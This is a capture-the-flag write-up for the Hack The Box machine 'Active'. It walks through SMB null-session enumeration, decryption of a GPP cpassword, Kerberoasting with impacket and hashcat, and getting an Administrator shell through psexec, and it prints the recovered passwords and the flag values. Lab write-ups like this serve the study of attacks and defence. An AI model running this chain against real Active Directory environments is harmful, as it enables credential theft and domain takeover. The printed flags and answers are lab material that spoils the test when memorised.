Active.md
| Property | Value |
|---|---|
| IP | 10.129.81.44 |
| OS | Windows Server 2008 R2 |
| Difficulty | Easy |
| Date | 2026-10-28 |
| Source | HTB |
Nmap
nmap -sV -sC -p- 10.129.81.44
Open ports:
53— DNS (Microsoft DNS 6.1.7601)88— Kerberos135— msrpc139— netbios-ssn389/3268— LDAP (Domain:active.htb)445— SMB464— kpasswd5593/49157— RPC over HTTP636/3269— LDAPS5722— msrpc (SYSVOL replication)9389— AD Web Services (.NET Message Framing)47001+49152–49169— WinRM HTTPAPI / dynamic RPC
Enumeration
SMB
Anonymous null-session access allowed read access to the Replication share:
smbclient -L //10.129.81.44/ -N
smbclient //10.129.81.44/Replication -N
Spiderring the SYSVOL backup revealed a Groups.xml file containing a GPP cpassword:
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
Other
The target was an Active Directory environment:
- Kerberos:
88 - LDAP:
389/3268 - Domain:
active.htb
Foothold
Vulnerability: GPP cpassword in SYSVOL (MS14-025).
The AES key Microsoft used to encrypt Group Policy Preferences passwords is publicly known, meaning any readable Groups.xml file can expose a decryptable credential.
gpp-decrypt edBSHOwh...NglVmQ
# → GPPstillStandingStrong2k18
Credential obtained:
SVC_TGS : GPPstillStandingStrong2k18
Privilege Escalation
Vector: Kerberoasting.
This was a domain-level escalation rather than a local privilege escalation. The Administrator account had an SPN configured: active/CIFS.
Request the TGS for the SPN account
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.81.44 -request
Crack the Kerberos service ticket offline
hashcat -m 13100 hash.txt rockyou.txt
Recovered password:
Ticketmaster1968
Obtain an Administrator shell over SMB/RPC
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.81.44
This returned a SYSTEM shell as Administrator.
Flags
| Flag | Location | Value |
|---|---|---|
| User | C:\Users\SVC_TGS\Desktop |
dbd4ced1701f19b550a53a52f3f5c356 |
| Root | C:\Users\Administrator\Desktop |
5ea1ae6b67f3d7901865cd4829e28101 |
Lessons Learned
- Anonymous SMB first. The foothold came from a null session read access to the Replication share.
- Match the tool to the open port. No
5985means no WinRM;psexecorwmiexecover445/135is the shell path. - Two valid paths existed. With
SVC_TGS,user.txtcould have been retrieved directly throughsmbclient. Kerberoasting toAdministratorwas the more thorough. - Kerberoasting recap. Any domain user can request a TGS for an SPN account. The ticket is encrypted with that account’s NTLM hash and can be cracked offline without account lockout. Here, the SPN belonged to
Administrator.